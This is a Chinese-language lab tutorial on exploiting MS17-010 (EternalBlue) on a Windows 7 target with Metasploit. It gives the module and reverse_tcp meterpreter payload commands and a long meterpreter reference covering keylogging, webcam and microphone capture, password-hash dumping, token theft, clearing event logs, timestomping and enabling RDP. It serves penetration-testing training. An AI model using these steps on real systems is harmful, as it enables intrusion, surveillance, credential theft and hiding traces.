简介:
勒索病毒,是一种新型电脑病毒,主要以邮件、程序木马、网页挂马的形式进行传播。该病毒性质恶劣、危害极 大,一旦感染将给用户带来无法估量的损失。这种病毒利用各种加密算法对文件进行加密,被感染者一般无法解 密,必须拿到解密的私钥才有可能破解。
永恒之蓝是指2017年5月12日起,全球范围内爆发的基于Windows网络共享协议进行攻击传播的蠕虫恶意代码,不 法分子通过改造之前泄露的NSA黑客武器库中“永恒之蓝”攻击程序发起的网络攻击事件。英国、俄罗斯、整个欧洲 以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
通过该实验,体验勒索病毒利用MS17-010系统漏洞获取远程主机管理员权限的过程,掌握系统运维中如何加强安 全防护措施来防止永恒之蓝病毒。
![]()
实验环境:
目标靶机:windows7(存在MS17-010漏洞)
测试渗透机:Kali-Linux-2018.2-vm-amd64(Metasploit平台)
实验原理:
基于metasploit渗透平台,调用永恒之蓝攻击模块,将远程渗透攻击模式设置为reverse_tcp模式,攻击成功后获 取远程主机的系统权限。
实验步骤:
Metasploit是一款开源的渗透测试框架平台,到目前为止,msf已经内置了数千个已披露的漏洞相关的模块和渗透测试 工具,模块使用ruby语言编写,这使得使用者能够根据需要对模块进行适当修改,甚至是调用自己写的测试模块。选定 需要使用的攻击模块之后,你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用,将渗透的过程 自动化、简单化。 
![]()
启用永恒之蓝攻击模块
1
   | use exploit/windows/smb/ms17_010_eternalblue
   | 
 
![]()
设置靶机IP
设置 payload:
1
   | set payload windows/x64/meterpreter/reverse_tcp
   | 
 
设置本机地址:
![]()
执行攻击命令 run 等待2-4分钟,即可获得靶机shell
![]()
![]()
渗透利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108
   | meterpreter核心命令 ============= ? / help                  显示帮助菜单  background               将此会话放进后台(回话依然存在,这样可以使用其他模块利用此session来做更多事) bgkill                    杀死一个后台会话 bglist                    显示后台运行的脚本 bgrun                     运行一个meterpreter脚本作为后台线程 channel                   显示频道里信息或者控制频道 close                     关闭频道 exit / quit               终止meterpreter会话 get_timeouts              得到当前回话的超时值 info                      显示关于选定模块的信息 irb                       进入rb脚本模式 load                      载入一个或多个meterpreter扩展 machine_id                Get the MSF ID of the machine attached to the session migrate                   迁移攻击载荷到指定的pid或者进程名(默认pid,-N name进程名) read / write              从一个频道读取/写入数据 resource                  运行一个资源文件(类似批处理脚本) run                       运行一个meterpreter脚本或模块 set_timeouts              设置当前模块连接超时值 sleep                     强制meterpreter去什么都不做再重新连接 transport                 改变当前传输机制(后续发) use                       改变load的别名 uuid                      获取当前的uuid 文件命令(和Linux几乎一致) ============================ cat           把一个文件内容输出到屏幕(查看文件内容) cd            移动到其他目录 download      下载一个文件或目录 Usage: download [options] src1 src2 src3 ... destination OPTIONS: -r        递归下载所有内容 -t        时间戳也要下载 edit          编辑一个文件(和vim操作类似) lpwd           查看本地目录 getwd         查看远程目录 lcd           改变本地工作目录 ls            列出文件 mkdir         创建目录 mv            移动 pwd           显示当前工作目录 rm            删除 rmdir         删除目录 search        搜素 show_mount    列出所有设备(磁盘) upload        上传文件或目录(-r 地柜上传) 网络命令 =========================== arp          显示ARP缓存表 getproxy      显示代理设置 ifconfig      显示网卡设置 ipconfig      显示网卡设置 netstat       显示网络连接状态 portfwd       指向一个本地端口到远程服务(端口转发,后续会发) route         显示(修改)受害主机路由表 Supported commands:    add    [subnet] [netmask] [gateway]    delete [subnet] [netmask] [gateway]    list 系统命令 ======================= clearev        清除事件日志(系统自带的日志) drop_token    放弃所有的假冒令牌 execute       执行一条命令(后续发) getenv        取得指定的一个或多环境变量的值 getpid        得到当前进程的pid(攻击shell的pid) getprivs      尝试获取所有特权       getsid        Get the SID of the user that the server is running as getuid        显示当前的身份 kill          杀死一个进程,后接pid,参数-s杀死相关的进程 ps            列出目标主机的进程 reboot        重启目标主机 shutdown      关闭目标主机 reg          修改注册表,可查看帮助(后续发) rev2self      回到目标主机的初始用户账户下(例如开始是admin后来提权为system,可以回到admin) shell         使用Windows系统命令行 steal_token   尝试盗取一个令牌 suspend      暂停或恢复一个列表进程 sysinfo       取得目标主机的系统信息,含电脑名,操作系统,架构,语言,工作组,登录用户数 用户界面命令 =============================== enumdesktops   列举出目标主机上所有的桌面 idletime       返回目标主机已经被闲置了多少时间 keyscan_dump   得到键盘录制的内容 keyscan_start  开始键盘录制 keyscan_stop   停止键盘录制 screenshot     抓取屏幕截图 setdesktop     切换到其他用户界面【当有多个用户登录时】 uictl          控制用户的键盘,鼠标 网络摄像头命令 ======================= record_mic     从默认的录入设备记录x秒的音频 OPTIONS:     -d <opt>  记录几秒,默认1s     -f <opt>  保存路径,默认:'/root/[randomname].wav'     -p <opt>  自动播放捕获到的音频,默认:true webcam_chat    开启一个视频聊天 webcam_list    显示设备列表 webcam_snap    从指定的设备拍照截图 webcam_stream  从指定的webcam播放视频流 权限提升 ====================== getsystem     尝试提升用户权限 密码数据库 ================================ hashdump      下载密码哈希值(sam库) 文件属性 timestomp     修改文件的属性(后续发)
   | 
 
VNC远程桌面
开启目标的远程桌面3389
1
   | run post/windows/manage/enable_rdp
   | 
 
打开靶机的 cmd
 excute              执行目标系统中的文件(-f 指定文件,-i执行可交互模式,-H隐藏窗口)
![]()
更多操作,请参考 Metasploit